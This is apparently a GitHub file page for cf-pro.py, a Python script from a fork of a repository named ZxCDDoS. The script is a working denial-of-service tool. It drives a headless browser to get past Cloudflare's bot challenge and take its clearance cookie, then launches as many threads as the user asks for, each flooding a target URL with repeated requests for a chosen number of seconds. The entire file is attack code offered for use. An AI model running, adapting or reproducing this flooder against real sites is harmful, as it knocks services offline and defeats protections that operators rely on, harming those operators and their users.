forked from hoaan1995/ZxCDDoS
-
Notifications
You must be signed in to change notification settings - Fork 1
/
cf-pro.py
131 lines (123 loc) · 5.28 KB
/
cf-pro.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
# -*- coding: utf-8 -*-
from os import system, name
import os, threading, requests, cloudscraper, datetime, time, socket, socks, ssl, random
from urllib.parse import urlparse
from requests.cookies import RequestsCookieJar
import undetected_chromedriver as webdriver
from sys import stdout
from colorama import Fore, init
init(convert=True)
def countdown(t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
while True:
if (until - datetime.datetime.now()).total_seconds() > 0:
stdout.flush()
stdout.write("\r "+Fore.MAGENTA+"[*]"+Fore.WHITE+" Attack status => " + str((until - datetime.datetime.now()).total_seconds()) + " sec left ")
else:
stdout.flush()
stdout.write("\r "+Fore.MAGENTA+"[*]"+Fore.WHITE+" Attack Done | Ctrl + C to exit! \n")
return
#region get
def get_target(url):
url = url.rstrip()
target = {}
target['uri'] = urlparse(url).path
if target['uri'] == "":
target['uri'] = "/"
target['host'] = urlparse(url).netloc
target['scheme'] = urlparse(url).scheme
if ":" in urlparse(url).netloc:
target['port'] = urlparse(url).netloc.split(":")[1]
else:
target['port'] = "443" if urlparse(url).scheme == "https" else "80"
pass
return target
def get_proxies():
global proxies
if not os.path.exists("./proxy.txt"):
stdout.write(Fore.MAGENTA+" [*]"+Fore.WHITE+" You Need Proxy File ( ./proxy.txt )\n")
return False
proxies = open("./proxy.txt", 'r').read().split('\n')
return True
def get_cookie(url):
global useragent, cookieJAR, cookie
options = webdriver.ChromeOptions()
arguments = [
'--no-sandbox', '--disable-setuid-sandbox', '--disable-infobars', '--disable-logging', '--disable-login-animations',
'--disable-notifications', '--disable-gpu', '--headless', '--lang=ko_KR', '--start-maxmized',
'--user-agent=Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en'
]
for argument in arguments:
options.add_argument(argument)
driver = webdriver.Chrome(options=options)
driver.implicitly_wait(3)
driver.get(url)
for _ in range(60):
cookies = driver.get_cookies()
tryy = 0
for i in cookies:
if i['name'] == 'cf_clearance':
cookieJAR = driver.get_cookies()[tryy]
useragent = driver.execute_script("return navigator.userAgent")
cookie = f"{cookieJAR['name']}={cookieJAR['value']}"
driver.quit()
return True
else:
tryy += 1
pass
time.sleep(1)
driver.quit()
return False
def get_info():
stdout.write(Fore.MAGENTA+" [>] "+Fore.WHITE+"URL "+Fore.RED+": "+Fore.LIGHTGREEN_EX)
target = input()
stdout.write(Fore.MAGENTA+" [>] "+Fore.WHITE+"THREAD "+Fore.RED+": "+Fore.LIGHTGREEN_EX)
thread = input()
stdout.write(Fore.MAGENTA+" [>] "+Fore.WHITE+"TIME(s) "+Fore.RED+": "+Fore.LIGHTGREEN_EX)
t = input()
return target, thread, t
def LaunchCFPRO(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
session = requests.Session()
scraper = cloudscraper.create_scraper(sess=session)
jar = RequestsCookieJar()
jar.set(cookieJAR['name'], cookieJAR['value'])
scraper.cookies = jar
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackCFPRO, args=(url, until, scraper))
thd.start()
except:
pass
def AttackCFPRO(url, until_datetime, scraper):
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
'Accept-Encoding': 'deflate, gzip;q=1.0, *;q=0.5',
'Cache-Control': 'no-cache',
'Pragma': 'no-cache',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'TE': 'trailers',
}
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
scraper.get(url=url, headers=headers, allow_redirects=False)
scraper.get(url=url, headers=headers, allow_redirects=False)
except:
pass
if __name__ == '__main__':
target, thread, t = get_info()
stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Bypassing CF... (Max 300s)\n")
if get_cookie(target):
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchCFPRO(target, thread, t)
timer.join()
else:
stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Failed to bypass cf\n")